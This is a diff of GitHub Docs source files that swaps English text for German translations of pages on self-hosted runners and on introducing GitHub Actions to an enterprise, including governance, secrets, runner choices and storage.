- {% ifversion ghec %}If you use {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %}, you{% elsif ghes or ghae %}You{% endif %} can manually sync repositories on {% data variables.product.prodname_dotcom_the_website %} containing actions to your enterprise on {% ifversion ghes or ghae %}{% data variables.product.product_name %}{% elsif ghec %}{% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %}{% endif %}. Alternatively, you can allow members of your enterprise to automatically access actions from {% data variables.product.prodname_dotcom_the_website %} by using {% data variables.product.prodname_github_connect %}. For more information, see the following.
- {% ifversion ghec %}Wenn du {% data variables.product.prodname_ghe_server %} oder {% data variables.product.prodname_ghe_managed %} verwendest, kannst du{% elsif ghes or ghae %}Du kannst {% endif %} Repositorys, die Aktionen für dein Unternehmen auf {% ifversion ghes or ghae %}{% data variables.product.product_name %}{% elsif ghec %}{% data variables.product.prodname_ghe_server %} oder {% data variables.product.prodname_ghe_managed %}{% endif %} enthalten, manuell auf {% data variables.product.prodname_dotcom_the_website %} synchronisieren. Stattdessen kannst du Mitgliedern deines Unternehmens mithilfe von {% data variables.product.prodname_github_connect %} den automatischen Zugriff auf Aktionen aus {% data variables.product.prodname_dotcom_the_website %} erlauben. Weitere Informationen findest du unter folgenden Themen.
{%- ifversion ghes or ghae %}
- "[Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}](/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom)"
- "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect)"
{%- elsif ghec %}
- "Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}" in the [{% data variables.product.prodname_ghe_server %}](/enterprise-server@latest//admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom) or [{% data variables.product.prodname_ghe_managed %}](/github-ae@latest//admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom) documentation
- "Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}" in the [{% data variables.product.prodname_ghe_server %}](/enterprise-server@latest/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect) or [{% data variables.product.prodname_ghe_managed %}](/github-ae@latest//admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect) documentation
{%- endif %}
- [Manuelles Synchronisieren von Aktionen von {% data variables.product.prodname_dotcom_the_website %}](/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom)
- [Aktivieren des automatischen Zugriffs auf {% data variables.product.prodname_dotcom_the_website %}-Aktionen mithilfe von {% data variables.product.prodname_github_connect %}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect) {%- elsif ghec %}
- „Manuelles Synchronisieren von Aktionen von {% data variables.product.prodname_dotcom_the_website %}“ in der [{% data variables.product.prodname_ghe_server %}](/enterprise-server@latest//admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom)- oder [{% data variables.product.prodname_ghe_managed %}](/github-ae@latest//admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom)-Dokumentation
- „Aktivieren des automatischen Zugriffs auf {% data variables.product.prodname_dotcom_the_website %}-Aktionen mithilfe von {% data variables.product.prodname_github_connect %}“ in der [{% data variables.product.prodname_ghe_server %}](/enterprise-server@latest/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect)- oder [{% data variables.product.prodname_ghe_managed %}](/github-ae@latest//admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect)-Dokumentation {%- endif %}
- You can customize the software available on your self-hosted runner machines, or configure your runners to run software similar to {% data variables.product.company_short %}-hosted runners{% ifversion ghes or ghae %} available for customers using {% data variables.product.prodname_dotcom_the_website %}{% endif %}. The software that powers runner machines for {% data variables.product.prodname_actions %} is open source. For more information, see the [`actions/runner`](https://github.com/actions/runner) and [`actions/runner-images`](https://github.com/actions/runner-images) repositories.
- Du kannst die auf deinen selbstgehosteten Runnercomputern verfügbare Software anpassen oder deine Runner so konfigurieren, dass{% ifversion ghes or ghae %} für Kunden, die {% data variables.product.prodname_dotcom_the_website %} verwenden{% endif %}, Software verfügbar ist, die von {% data variables.product.company_short %} gehosteten Runnern ähnelt. Die Software, die den Runnercomputern für {% data variables.product.prodname_actions %} zugrunde liegt, ist Open Source. Weitere Informationen findest du in den Repositorys [`actions/runner`](https://github.com/actions/runner) und [`actions/runner-images`](https://github.com/actions/runner-images).
## Further reading
## Weitere Informationsquellen
- "[Configuring the self-hosted runner application as a service](/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service)"
- "[Using self-hosted runners in a workflow](/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow)"
- [Konfigurieren der selbstgehosteten Runneranwendung als Dienst](/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service)
- [Verwenden selbstgehosteten Runnern in einem Workflow](/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow)

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Introducing GitHub Actions to your enterprise
title: Einführen von GitHub Actions in deinem Unternehmen
shortTitle: Introduce Actions
intro: 'You can plan how to roll out {% data variables.product.prodname_actions %} in your enterprise.'
intro: 'Du kannst planen, wie du {% data variables.product.prodname_actions %} in deinem Unternehmen einführen möchtest.'
versions:
ghec: '*'
ghes: '*'
@ -10,131 +10,123 @@ type: how_to
topics:
- Actions
- Enterprise
ms.openlocfilehash: ddd394e589b3866e80ba024f99bd2394d1743299
ms.sourcegitcommit: 9af8891fea10039b3374c76818634e05410e349d
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 12/06/2022
ms.locfileid: '148191862'
---
## Informationen zu {% data variables.product.prodname_actions %} für Unternehmen
## About {% data variables.product.prodname_actions %} for enterprises
{% data reusables.actions.about-actions %} Mit {% data variables.product.prodname_actions %} kann dein Unternehmen deine Softwareentwicklungs-Workflows wie Tests und Bereitstellungen automatisieren, anpassen und ausführen. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_actions %} für Unternehmen](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises).
{% data reusables.actions.about-actions %} With {% data variables.product.prodname_actions %}, your enterprise can automate, customize, and execute your software development workflows like testing and deployments. For more information, see "[About {% data variables.product.prodname_actions %} for enterprises](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises)."
![Diagramm der auf selbstgehosteten Runnern ausgeführten Aufträge](/assets/images/help/images/actions-enterprise-overview.png)
![Diagram of jobs running on self-hosted runners](/assets/images/help/images/actions-enterprise-overview.png)
Bevor du {% data variables.product.prodname_actions %} in einem großen Unternehmen einführst, musst du die Einführung zuerst planen und Entscheidungen darüber treffen, wie das Unternehmen {% data variables.product.prodname_actions %} verwenden soll, um seine besonderen Anforderungen optimal zu unterstützen.
Before you introduce {% data variables.product.prodname_actions %} to a large enterprise, you first need to plan your adoption and make decisions about how your enterprise will use {% data variables.product.prodname_actions %} to best support your unique needs.
## Governance und Einhaltung
## Governance and compliance
Du solltest einen Plan erstellen, um das Verwenden von {% data variables.product.prodname_actions %} in deinem Unternehmen zu steuern und deine Complianceverpflichtungen zu erfüllen.
You should create a plan to govern your enterprise's use of {% data variables.product.prodname_actions %} and meet your compliance obligations.
Bestimme, welche Aktionen {% ifversion actions-workflow-policy %}und wiederverwendbare Workflows{% endif %} deine Entwickler*innen verwenden dürfen. {% ifversion ghes %}Entscheide zunächst, ob du den Zugriff auf Aktionen {% ifversion actions-workflow-policy %}und wiederverwendbare Workflows{% endif %} von außerhalb deiner Instanz aktivieren möchtest. {% data reusables.actions.access-actions-on-dotcom %} Weitere Informationen findest du unter [Informationen zum Verwenden von Aktionen in deinem Unternehmen](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise).
Determine which actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} your developers will be allowed to use. {% ifversion ghes %}First, decide whether you'll enable access to actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} from outside your instance. {% data reusables.actions.access-actions-on-dotcom %} For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)."
Dann{% else %}Entscheide{% endif %} zunächst, ob du Drittanbieteraktionen {% ifversion actions-workflow-policy %}und wiederverwendbare Workflows{% endif %} zulässt, die nicht von {% data variables.product.company_short %} erstellt wurden. Du kannst die Aktionen {% ifversion actions-workflow-policy %}und wiederverwendbaren Workflows{% endif %} konfigurieren, die auf Repository-, Organisations- und Unternehmensebenen ausgeführt werden dürfen. Außerdem kannst du auch nur Aktionen zulassen, die von {% data variables.product.company_short %} erstellt wurden. Wenn du Drittanbieteraktionen{% ifversion actions-workflow-policy %} und wiederverwendbare Workflows{% endif %} zulässt, kannst du zulässige Aktionen auf diejenigen beschränken, die von überprüften Autor*innen erstellt wurden oder die in einer Liste mit bestimmten Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbaren Workflows{% endif %} aufgeführt sind. Weitere Informationen findest du unter [Verwalten von {% data variables.product.prodname_actions %}-Einstellungen für ein Repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#managing-github-actions-permissions-for-your-repository), [Deaktivieren oder Einschränken von {% data variables.product.prodname_actions %} für deine Organisation](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#managing-github-actions-permissions-for-your-organization) und [Erzwingen von Richtlinien für {% data variables.product.prodname_actions %} in deinem Unternehmen](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-to-restrict-the-use-of-github-actions-in-your-enterprise).
Then,{% else %}First,{% endif %} decide whether you'll allow third-party actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} that were not created by {% data variables.product.company_short %}. You can configure the actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} that are allowed to run at the repository, organization, and enterprise levels and can choose to only allow actions that are created by {% data variables.product.company_short %}. If you do allow third-party actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}, you can limit allowed actions to those created by verified creators or a list of specific actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %}. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#managing-github-actions-permissions-for-your-repository)", "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#managing-github-actions-permissions-for-your-organization)", and "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-to-restrict-the-use-of-github-actions-in-your-enterprise)."
{% ifversion actions-workflow-policy %} ![Screenshot von {% data variables.product.prodname_actions %}-Richtlinien](/assets/images/help/organizations/enterprise-actions-policy-with-workflows.png) {%- else %} ![Screenshot von {% data variables.product.prodname_actions %}-Richtlinien](/assets/images/help/organizations/enterprise-actions-policy.png) {%- endif %}
{% ifversion actions-workflow-policy %}
![Screenshot of {% data variables.product.prodname_actions %} policies](/assets/images/help/organizations/enterprise-actions-policy-with-workflows.png)
{%- else %}
![Screenshot of {% data variables.product.prodname_actions %} policies](/assets/images/help/organizations/enterprise-actions-policy.png)
{%- endif %}
{% ifversion ghec or ghes > 3.4 %}
Consider combining OpenID Connect (OIDC) with reusable workflows to enforce consistent deployments across your repository, organization, or enterprise. You can do this by defining trust conditions on cloud roles based on reusable workflows. For more information, see "[Using OpenID Connect with reusable workflows](/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows)."
{% ifversion ghec or ghes > 3.4 %} Erwäge, OpenID Connect (OIDC) mit wiederverwendbaren Workflows zu kombinieren, um konsistente Bereitstellungen in deinem Repository, deiner Organisation oder deinem Unternehmen zu erzwingen. Dies erreichst du durch das Definieren von Vertrauensbedingungen für Cloudrollen basierend auf wiederverwendbaren Workflows. Weitere Informationen findest du unter [Verwenden von OpenID Connect mit wiederverwendbaren Workflows](/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows).
{% endif %}
You can access information about activity related to {% data variables.product.prodname_actions %} in the audit logs for your enterprise. If your business needs require retaining this information longer than audit log data is retained, plan how you'll export and store this data outside of {% data variables.product.prodname_dotcom %}. For more information, see {% ifversion ghec %}"[Exporting audit log activity for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise)" and "[Streaming the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise)."{% else %}{% ifversion audit-log-streaming %}"[Streaming the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise)" and {% endif %}"[Log forwarding](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding)."{% endif %}
Über die Überwachungsprotokolle deines Unternehmens kannst du auf Informationen zu Aktivitäten im Zusammenhang mit {% data variables.product.prodname_actions %} zugreifen. Wenn deine geschäftlichen Anforderungen voraussetzen, dass diese Informationen länger aufbewahrt werden als die Daten der Überwachungsprotokolle, plane das Exportieren und Speichern dieser Daten außerhalb von {% data variables.product.prodname_dotcom %}. Weitere Informationen findest du unter {% ifversion ghec %}[Exportieren von Überwachungsprotokollaktivitäten für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise) und [Streamen des Überwachungsprotokolls für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise).{% else %}{% ifversion audit-log-streaming %}[Streamen des Überwachungsprotokolls für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise) und {% endif %}[Weiterleiten von Protokollen](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding).{% endif %}
![Audit log entries](/assets/images/help/repository/audit-log-entries.png)
![Überwachungsprotokolleinträge](/assets/images/help/repository/audit-log-entries.png)
## Security
## Sicherheit
You should plan your approach to security hardening for {% data variables.product.prodname_actions %}.
Du solltest deine Herangehensweise an die Sicherheitshärtung von {% data variables.product.prodname_actions %} planen.
### Security hardening individual workflows and repositories
### Sicherheitshärtung einzelner Workflows und Repositorys
Make a plan to enforce good security practices for people using {% data variables.product.prodname_actions %} features within your enterprise. For more information about these practices, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions)."
Plane, gute Sicherheitspraktiken für Personen mit Features von {% data variables.product.prodname_actions %} innerhalb deines Unternehmens zu erzwingen. Weitere Informationen zu diesen Praktiken findest du unter [Sicherheitshärtung für {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions).
You can also encourage reuse of workflows that have already been evaluated for security. For more information, see "[Innersourcing](#innersourcing)."
Du kannst auch das Wiederverwenden von Workflows unterstützen, deren Sicherheit bereits bewertet wurde. Weitere Informationen findest du unter [Innersourcing](#innersourcing).
### Securing access to secrets and deployment resources
### Absichern des Zugriffs auf Geheimnisse und Bereitstellungsressourcen
You should plan where you'll store your secrets. We recommend storing secrets in {% data variables.product.prodname_dotcom %}, but you might choose to store secrets in a cloud provider.
Du solltest planen, wo du deine Geheimnisse speicherst. Es wird empfohlen, Geheimnisse auf {% data variables.product.prodname_dotcom %} zu speichern, aber du kannst Geheimnisse auch bei einem Cloudanbieter speichern.
In {% data variables.product.prodname_dotcom %}, you can store secrets at the repository or organization level. Secrets at the repository level can be limited to workflows in certain environments, such as production or testing. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)."
Auf {% data variables.product.prodname_dotcom %} kannst du Geheimnisse auf Repository- oder Organisationsebene speichern. Geheimnisse auf Repositoryebene können auf Workflows in bestimmten Umgebungen beschränkt werden, z. B. Produktion oder Test. Weitere Informationen findest du unter [Verschlüsselte Geheimnisse](/actions/security-guides/encrypted-secrets).
![Screenshot of a list of secrets](/assets/images/help/settings/actions-org-secrets-list.png)
You should consider adding manual approval protection for sensitive environments, so that workflows must be approved before getting access to the environments' secrets. For more information, see "[Using environments for deployments](/actions/deployment/targeting-different-environments/using-environments-for-deployment)."
![Screenshot einer Liste von Geheimnissen](/assets/images/help/settings/actions-org-secrets-list.png) Du solltest erwägen, eine Schutzfunktion mit manueller Genehmigung für vertrauliche Umgebungen hinzuzufügen, sodass Workflows genehmigt werden müssen, bevor auf die Geheimnisse der Umgebungen zugegriffen werden kann. Weitere Informationen findest du unter [Verwenden von Umgebungen für Bereitstellungen](/actions/deployment/targeting-different-environments/using-environments-for-deployment).
### Security considerations for third-party actions
### Sicherheitsaspekte für Aktionen von Drittanbietern
There is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. If you do allow any third-party actions, you should create internal guidelines that encourage your team to follow best practices, such as pinning actions to the full commit SHA. For more information, see "[Using third-party actions](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions)."
Es besteht ein erhebliches Risiko, wenn Aktionen aus Drittanbieterrepositorys in {% data variables.product.prodname_dotcom %} ausgeführt werden. Wenn du Aktionen von Drittanbietern zulässt, solltest du interne Richtlinien erstellen, die dein Team ermutigen, bewährte Methoden zu befolgen, z. B. das Anheften von Aktionen an vollständige Commit-SHAs. Weitere Informationen findest du unter [Verwenden von Drittanbieteraktionen](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions).
## Innersourcing
Think about how your enterprise can use features of {% data variables.product.prodname_actions %} to innersource automation. Innersourcing is a way to incorporate the benefits of open source methodologies into your internal software development cycle. For more information, see [An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/) in {% data variables.product.company_short %} Resources.
Denke darüber nach, wie dein Unternehmen Features von {% data variables.product.prodname_actions %} für das Innersourcing der Automatisierung verwenden kann. Innersourcing ist eine Möglichkeit, die Vorteile von Open-Source-Methoden in den internen Softwareentwicklungszyklus einzubeziehen. Weitere Informationen findest du unter [Einführung ins Innersourcing](https://resources.github.com/whitepapers/introduction-to-innersource/) in den {% data variables.product.company_short %}-Ressourcen.
{% data reusables.actions.internal-actions-summary %}
{% ifversion ghec or ghes > 3.3 or ghae > 3.3 %}
{% data reusables.actions.reusable-workflows-enterprise-beta %}
With reusable workflows, your team can call one workflow from another workflow, avoiding exact duplication. Reusable workflows promote best practice by helping your team use workflows that are well designed and have already been tested. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)."
{% ifversion ghec or ghes > 3.3 or ghae > 3.3 %} {% data reusables.actions.reusable-workflows-enterprise-beta %} Mit wiederverwendbaren Workflows kann dein Team einen Workflow aus einem anderen Workflow aufrufen, um eine exakte Duplizierung zu vermeiden. Wiederverwendbare Workflows fördern bewährte Methoden, indem dein Team so Workflows verwendet, die gut konzipiert sind und bereits getestet wurden. Weitere Informationen findest du unter [Wiederverwenden von Workflows](/actions/learn-github-actions/reusing-workflows).
{% endif %}
To provide a starting place for developers building new workflows, you can use starter workflows. This not only saves time for your developers, but promotes consistency and best practice across your enterprise. For more information, see "[Creating starter workflows for your organization](/actions/learn-github-actions/creating-starter-workflows-for-your-organization)."
Du kannst Starterworkflows als Ausgangspunkt für Entwickler*innen bereitstellen, die neue Workflows erstellen. So sparen deine Entwickler*innen nicht nur Zeit, sondern du förderst auch unternehmensweit Konsistenz und bewährte Methoden. Weitere Informationen findest du unter [Erstellen von Starterworkflows für deine Organisation](/actions/learn-github-actions/creating-starter-workflows-for-your-organization).
{% ifversion not internal-actions %}
Whenever your workflow developers want to use an action that's stored in a private repository, they must configure the workflow to clone the repository first. To reduce the number of repositories that must be cloned, consider grouping commonly used actions in a single repository. For more information, see "[About custom actions](/actions/creating-actions/about-custom-actions#choosing-a-location-for-your-action)."
{% ifversion not internal-actions %} Wenn deine Workflowentwickler*innen eine Aktion verwenden möchten, die in einem privaten Repository gespeichert ist, müssen sie den Workflow so konfigurieren, dass das Repository zuerst geklont wird. Um die Anzahl der zu klonenden Repositorys zu verringern, solltest du häufig verwendete Aktionen in einem einzelnen Repository gruppieren. Weitere Informationen findest du unter [Informationen zu benutzerdefinierten Aktionen](/actions/creating-actions/about-custom-actions#choosing-a-location-for-your-action).
{% endif %}
## Managing resources
## Verwalten von Ressourcen
You should plan for how you'll manage the resources required to use {% data variables.product.prodname_actions %}.
Du solltest das Verwalten der benötigten Ressourcen zum Verwenden von {% data variables.product.prodname_actions %} planen.
{% ifversion ghes %}
### Hardware requirements
### Hardwareanforderungen
You may need to upgrade the CPU and memory resources for {% data variables.location.product_location %} to handle the load from {% data variables.product.prodname_actions %} without causing performance loss. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-requirements)."
Eventuell musst du ein Upgrade der CPU- und Arbeitsspeicherressourcen für {% data variables.location.product_location %} durchführen, um die Last von {% data variables.product.prodname_actions %} ohne Leistungsverlust zu verarbeiten. Weitere Informationen findest du unter [Erste Schritte mit {% data variables.product.prodname_actions %} für {% data variables.product.prodname_ghe_server %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#review-hardware-requirements).
{% endif %}
### Runners
### Runner
{% data variables.product.prodname_actions %} workflows require runners.{% ifversion ghec %} You can choose to use {% data variables.product.prodname_dotcom %}-hosted runners or self-hosted runners. {% data variables.product.prodname_dotcom %}-hosted runners are convenient because they are managed by {% data variables.product.company_short %}, who handles maintenance and upgrades for you. However, you may want to consider self-hosted runners if you need to run a workflow that will access resources behind your firewall or you want more control over the resources, configuration, or geographic location of your runner machines. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)" and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% else %} You will need to host your own runners by installing the {% data variables.product.prodname_actions %} self-hosted runner application on your own machines. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% endif %}
{% data variables.product.prodname_actions %}-Workflows benötigen Runner. {% ifversion ghec %} Du kannst von {% data variables.product.prodname_dotcom %} gehostete oder selbstgehostete Runner verwenden. Von {% data variables.product.prodname_dotcom %} gehostete Runner sind praktisch, da sie von {% data variables.product.company_short %} verwaltet werden. Auch Wartung und Upgrades werden so für dich übernommen. Wenn du einen Workflow ausführen musst, bei dem auf Ressourcen hinter deiner Firewall zugegriffen wird, oder wenn du mehr Kontrolle über die Ressourcen, die Konfiguration oder den geografischen Standort der Computer benötigst, auf denen die Runner ausgeführt werden, solltest du jedoch selbstgehostete Runner in Betracht ziehen. Weitere Informationen findest du unter [Informationen zu von {% data variables.product.prodname_dotcom %} gehosteten Runnern](/actions/using-github-hosted-runners/about-github-hosted-runners) und [Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners).{% else %} Du musst eigene Runner hosten, indem du die selbstgehostete Runneranwendung von {% data variables.product.prodname_actions %} auf deinen eigenen Computern installierst. Weitere Informationen findest du unter [Informationen zu selbstgehosteten Runnern](/actions/hosting-your-own-runners/about-self-hosted-runners).{% endif %}
{% ifversion ghec %}If you are using self-hosted runners, you have to decide whether you want to use physical machines, virtual machines, or containers.{% else %}Decide whether you want to use physical machines, virtual machines, or containers for your self-hosted runners.{% endif %} Physical machines will retain remnants of previous jobs, and so will virtual machines unless you use a fresh image for each job or clean up the machines after each job run. If you choose containers, you should be aware that the runner auto-updating will shut down the container, which can cause workflows to fail. You should come up with a solution for this by preventing auto-updates or skipping the command to kill the container.
{% ifversion ghec %}Wenn du selbstgehostete Runner verwendest, musst du entscheiden, ob du physische Computer, virtuelle Computer oder Container verwenden möchtest.{% else %}Entscheide, ob du physische Computer, virtuelle Computer oder Container für deine selbstgehosteten Runner verwenden möchtest.{% endif %} Auf physischen Computern verbleiben Reste früherer Aufträge. Dies gilt auch für virtuelle Computer, es sei denn, du verwendest für jeden Auftrag ein frisches Image oder bereinigst die Computer nach jeder Auftragsausführung. Wenn du dich für Container entscheidest, solltest du dir bewusst sein, dass der Container bei automatischen Updates des Runners heruntergefahren wird. Dabei kann es passieren, dass Workflows fehlschlagen. Du solltest dafür eine Lösung finden, indem du automatische Updates verhinderst oder den Befehl zum Beenden des Containers überspringst.
You also have to decide where to add each runner. You can add a self-hosted runner to an individual repository, or you can make the runner available to an entire organization or your entire enterprise. Adding runners at the organization or enterprise levels allows sharing of runners, which might reduce the size of your runner infrastructure. You can use policies to limit access to self-hosted runners at the organization and enterprise levels by assigning groups of runners to specific repositories or organizations. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)" and "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
Du musst auch entscheiden, wo die einzelnen Runner hinzugefügt werden sollen. Du kannst einen selbstgehosteten Runner einem einzelnen Repository hinzufügen, oder du kannst den Runner für eine gesamte Organisation oder dein gesamtes Unternehmen zur Verfügung stellen. Das Hinzufügen von Runnern auf Organisations- oder Unternehmensebene ermöglicht die Freigabe von Runnern. Dadurch wird möglicherweise die Größe der Runnerinfrastruktur verringert. Du kannst Richtlinien verwenden, um den Zugriff auf selbstgehostete Runner auf Organisations- und Unternehmensebene zu beschränken, indem du Gruppen von Runnern bestimmten Repositorys oder Organisationen zuweist. Weitere Informationen findest du unter [Hinzufügen von selbstgehosteten Runnern](/actions/hosting-your-own-runners/adding-self-hosted-runners) und [Verwalten des Zugriffs auf selbstgehostete Runner mithilfe von Gruppen](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups).
{% ifversion ghec or ghes %}
You should consider using autoscaling to automatically increase or decrease the number of available self-hosted runners. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)."
{% ifversion ghec or ghes %} Du solltest die automatische Skalierung erwägen, um die Anzahl der verfügbaren selbstgehosteten Runner automatisch zu erhöhen oder zu verringern. Weitere Informationen findest du unter [Automatische Skalierung mit selbstgehosteten Runnern](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners).
{% endif %}
Finally, you should consider security hardening for self-hosted runners. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)."
Schließlich solltest du die Sicherheitshärtung für selbstgehostete Runner berücksichtigen. Weitere Informationen findest du unter [Sicherheitshärtung für {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners).
### Storage
{% data reusables.actions.about-artifacts %} For more information, see "[Storing workflow data as artifacts](/actions/advanced-guides/storing-workflow-data-as-artifacts)."
{% data reusables.actions.about-artifacts %} Weitere Informationen findest du unter [Speichern von Workflowdaten als Artefakte](/actions/advanced-guides/storing-workflow-data-as-artifacts).
{% ifversion actions-caching %}{% data variables.product.prodname_actions %} also has a caching system that you can use to cache dependencies to speed up workflow runs. For more information, see "[Caching dependencies to speed up workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows)."{% endif %}
{% ifversion actions-caching %}{% data variables.product.prodname_actions %} verfügt auch über ein Cachesystem, mit dem du Abhängigkeiten zwischenspeichern kannst, um die Ausführung von Workflows zu beschleunigen. Weitere Informationen findest du unter [Zwischenspeichern von Abhängigkeiten zum Beschleunigen von Workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows).{% endif %}
{% ifversion ghes %}
You must configure external blob storage for workflow artifacts{% ifversion actions-caching %}, caches,{% endif %} and other workflow logs. Decide which supported storage provider your enterprise will use. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#external-storage-requirements)."
{% ifversion ghes %} Du musst externen Blobspeicher für Workflowartefakte{% ifversion actions-caching %}, Caches{% endif %} und andere Workflowprotokolle konfigurieren. Entscheide, welchen unterstützten Speicheranbieter dein Unternehmen verwendet. Weitere Informationen findest du unter [Erste Schritte mit {% data variables.product.prodname_actions %} für {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#external-storage-requirements).
{% endif %}
{% ifversion ghec or ghes %}
You can use policy settings for {% data variables.product.prodname_actions %} to customize the storage of workflow artifacts{% ifversion actions-caching %}, caches,{% endif %} and log retention. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise)."
